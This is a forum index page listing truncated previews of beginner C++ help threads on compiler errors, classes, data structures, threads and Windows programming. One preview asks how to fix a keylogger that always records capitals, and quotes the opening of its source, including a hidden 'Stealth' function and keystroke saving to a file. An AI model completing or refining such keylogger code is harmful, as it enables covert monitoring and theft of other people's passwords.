49,761 Topics

Member Avatar for
Member Avatar for eman 22
Member Avatar for Talguy

I am spliting my soft real-time application into two processes, one is the gui and the other is the hardware communications. I would like to to have both processes monitor each other as they send data back and forth. When one detects that the other has crashed it will launch …

Member Avatar for L7Sqr
0
77
Member Avatar for osirus0830

I am currently attempting to teach myself C++ so I don't have the benefit of a prof or TA. The question at the end of the chapter that I'm working on wants me to create an array of structures and to initialize the array of structures using the new function. …

Member Avatar for osirus0830
0
183
Member Avatar for ninjatalon

Today I was taught about virtual methods but got lost somewhere in the pointers. Here is an example [CODE] class Person { protected: string name; public: virtual string get_name() { return name; } }; class TFaculty:public Person { private: string title; public: virtual string get_name() { return title + " …

Member Avatar for Fbody
0
140
Member Avatar for magravis

Hi! I am trying to make a program, where it opens a text file. If it reads, for instance the "UP and the 2 #s after" in the file, it will print, on the same line (with the data) a result of another #. for instance: (command, code, and code2 …

Member Avatar for WaltP
0
115
Member Avatar for Clinton Portis

I was just wondering if ya'll knew of any dictionary libraries that I could include in one of my c++ projects. A quick google & forum search have offered solutions in other languages, such as python and c# but have seen nothing specific for c++. Thanks in advance. -d.w.

Member Avatar for Narue
0
107
Member Avatar for caltech

Here are my error messages: [INDENT]! "printStock(int, int)", referenced from: _main in main.o _main in main.o ! "Sales(int, int, double)", referenced from: _main in main.o Symbol(s) not found[/INDENT] Here is my code: [CODE]#include <iostream> #include <cmath> #include <iomanip> #include <fstream> using namespace std; void printStock(int,int); double Sales(int,int,double); int main () …

Member Avatar for caltech
0
127
Member Avatar for Ksadler818

Below is my home work problem. I don't want the answer, I am just looking for an example of how I can count the occurance of each number in the array numbers and assign that value to the count array. Thanks for your help!!!!!! *---------------------------------------… * Sample Output: *** start …

Member Avatar for WaltP
0
188
Member Avatar for PaulBird

[IMG]http://i1187.photobucket.com/albums/z394/crazythang/photo-1.jpg[/IMG] i try to compile a simple c++ hello world, and i get this, PLZ HELP i compile with g++...

Member Avatar for rubberman
0
304
Member Avatar for taumang

[ICODE]please forward the function to calculate the smallest and largest without using (if,while else) statements Input three different integers: 13 27 14 Sum Average Product Smallest Largest 54 18 4914 13 #include<iostream> using namespace std; int main() { int x,y,z; cin>>x>>y>>z; cout<<"the sum is ="<<x+y+z<<endl; cout<<" average is ="<<(x+y+z)/3<<endl; cout<<" …

Member Avatar for madifemo
-1
234
Member Avatar for iamthesgt

I am working on a VideoServer for my company, and in making the cgi files for the Web interface, I came across the following error: " invalid conversion from ‘int’ to ‘VideoOutputMode‘ " This was from line 4 of the below code, in the WebInterface file: [CODE]form_iterator vout_mode = formData.getElement("DisplaySettingsVOutMode"); …

Member Avatar for iamthesgt
0
3K
Member Avatar for manofhouse

Trying to convert from binary to hex but for some reason it keeps bringing up the error instead of the output [CODE] #include<iostream> #include<string> #include<cmath> using namespace std; void BintoHex (int[]); bool CheckBin (int[], bool); void Hexadecimal (int[]); string hexadecimal; void main() { int bin[4]; int binary; bool reentry = …

Member Avatar for Narue
0
230
Member Avatar for lauw0203

Hello :) I'm creating a license plate recognition system for my coursework at University. We need to use Binary trees, which I've done but the information needs to be stored in a file to read and write to. I've created some text files with XML tags in for Cars, Lorries, …

Member Avatar for lauw0203
0
177
Member Avatar for emreozpalamutcu

I found this code on the internet which is an good keylogger only issue it always types capitals how to make the keylogger recognise if its capital or not? ///////////////////////////////////////////////////////////////////////////////////////// [CODE]#include <iostream> using namespace std; #include <windows.h> #include <winuser.h> int Save (int key_stroke, char *file); void Stealth(); int main() { …

Member Avatar for Narue
0
124
Member Avatar for MarvelWolverine

Hi, I am writing a program to solve the 8puzzle, but for some reason i am having more difficulty with the structure than the algorithm.... I have two classes, a tree and node class. My main problem is to put the nodes in an array in the tree class. Second, …

Member Avatar for Narue
0
310
Member Avatar for lauw0203

Hello :) I'm having a couple of errors that i just can't get my head around so please help! [U]Error 1[/U] [B]warning C4018: '<' : signed/unsigned mismatch[/B] [CODE] for (int i=0; i<numVehicles; ++i) [/CODE] [U]Error 2[/U] [B]error LNK2019: unresolved external symbol _main referenced in function "int __cdecl console_main(int,char * * …

Member Avatar for lauw0203
0
188
Member Avatar for gladtoplay5

I am currently working on a program that takes one measurement of a circle and then gives the rest although i came across a problem while trying to make it loop back if you input an invalid number and my compiler keeps saying i have an error with were my …

Member Avatar for Fbody
0
311
Member Avatar for tomtetlaw

For some reason my resource file isn't getting compiled when I compile in VC++ 2010 express. Even when I make changes to the .rc file. This is the contents of it: [code=c++] #include <windows.h> #include <commctrl.h> #include "resource.h" LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US IDD_ASSERT DIALOGEX 150, 100, 180, 180 STYLE DS_MODALFRAME | …

Member Avatar for tomtetlaw
0
203
Member Avatar for amna masood

[CODE]#include<stdio.h> #include<iostream> #include<string> #include<conio.h> #include<fstream> using namespace std; class TESTnonteaching { private: string oname; string osir_name; int oid; public: int count3; void TESTadd(); void TESTsearching(); //void editing(); void TESTdisplay3(); void TESTsetcount3() { count3=0 ; } }; //ADDING STAFF// void TESTnonteaching::TESTadd() { if(count3>=3) {cout<<"NO SPACE LEFT"; return; } cout<<"ENTER YOUR NAME …

Member Avatar for ninjatalon
0
438
Member Avatar for arthurav

I want to use hash_map with struct values. The code is the following: [CODE]#include<stdio.h> #include<string.h> #include<hash_map> using namespace std; using namespace __gnu_cxx; struct row { int number; char type; }; struct eqstr { bool operator()(const char* s1, const char* s2) const { return (strcmp(s1,s2)); } }; int main() { hash_map<const …

Member Avatar for thekashyap
0
290
Member Avatar for HASHMI007

[CODE] /*i want to overloaded operator in my program. but i dnt know how to add overloaded + operator in this prgram. plzzzzzzzzz help me to solve this problem*/ #include<iostream.h> class rational{ private : int numerator, dnomenator ; void reduction(); public : rational () //default contructer { numerator=dnomenator=1; } rational …

Member Avatar for HASHMI007
1
176
Member Avatar for ispeakbinary

I am trying to create a class for doing number factorization on a random number, so I need to create a pointer to store the factors of the number. But when I compiled it, I got an error. My question is 1)What did I do wrong? I have a feeling …

Member Avatar for csurfer
0
156
Member Avatar for Ahmed sunny

i am a student of software. i need some help regarding this. am just a beginner so plz help me out....

Member Avatar for Adak
0
2K
Member Avatar for Kadence

I'm having issues because I am using the Boost library, but another library I am using for this project is #define'ing the term 'thread' as well. And addressing the boost thread as boost::thread in my code doesn't help. Here is what the other library's definitino is: [CODE]#if defined(_MSC_VER) # define …

Member Avatar for Kadence
0
285
Member Avatar for zero44

Could someone please explain what this does in the code above? [code] for (; num; num /= base) { // Note: abs() is done on each digit instead of the whole num // to preserve the full range of int result.insert(result.begin(), digits[abs(num % base)]); } [/code]

Member Avatar for daviddoria
0
99
Member Avatar for gladtoplay5

For an exercise we are supposed to: Write a C++ program that uses three user-defined functions (counting main () as one) and produces the following output: Three blind mice Three blind mice See how they run See how they run One function, called two times, should produce the first two …

Member Avatar for gladtoplay5
0
277
Member Avatar for Tenjou

Hello everyone, I'm trying to solve a problem in C++ using visual studio. The problem asks to write a program that asks the user for a positive integer no greater than 15, and that the program should then display a square on the screen using the character "X", and that …

Member Avatar for sergent
0
2K
Member Avatar for computerdude87

Hi, I am trying to calculate how many rooms a hotel has, how many are occupied, and the percentage of rooms that are occupied. It is suppose to do this after a loop iterates once for each floor while skipping the 13th floor. I am new to this, any suggestions? …

Member Avatar for jonsca
0
107
Member Avatar for Labdabeta

I am having trouble with a program that I am writing. I cannot seem to be able to destroy a window. I know the DestroyWindow function but it only works on windows that my application owns. Is there any way to destroy a window that is not owned by my …

Member Avatar for Labdabeta
0
123
Member Avatar for Narril

I am having problems compiling this code for cpu synchronization using threads. An error says that the "ou_thread" directory does not exist [CODE]#include <STRING> using namespace std; #include "ou_thread.h" using namespace openutils; class MyThread : public Thread { private: int m_nCount; public: MyThread(int n,const char* nm) { Thread::setName(nm); m_nCount = …

Member Avatar for Kanoisa
0
175

The End.